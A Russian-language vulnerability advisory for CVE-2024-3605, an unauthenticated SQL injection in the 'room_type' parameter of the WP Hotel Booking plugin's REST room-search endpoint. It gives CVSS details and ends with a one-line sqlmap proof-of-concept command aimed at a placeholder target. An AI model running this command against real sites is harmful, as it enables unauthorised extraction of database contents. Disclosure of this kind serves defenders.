CVE-2024-3605

WP Hotel Booking <= 2.1.0 - SQL-инъекция без аутентификации

Описание

Плагин WP Hotel Booking для WordPress уязвим к SQL-инъекции через параметр 'room_type' конечной точки REST API /wphb/v1/rooms/search-rooms во всех версиях до 2.1.0 включительно из-за недостаточного экранирования пользовательского параметра и отсутствия достаточной подготовки существующего SQL-запроса. Это позволяет неаутентифицированным злоумышленникам добавлять дополнительные SQL-запросы в уже существующие запросы, которые можно использовать для извлечения конфиденциальной информации из базы данных.

Детали

• Тип: плагин
• Slug: wp-hotel-booking
• Затронутая версия: 2.1.0
• Оценка CVSS: 10
• Рейтинг CVSS: Критический
• Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• CVE: CVE-2024-3605
• Статус: Активен

POC

sqlmap -u 'https://www.target.com/wp-json/wphb/v1/rooms/search-rooms?check_in_date=2025-01-01&check_out_date=2025-01-10&adults=4&max_child=0&paged=1&room_type=standard' --dbms='MySQL ' --random-agent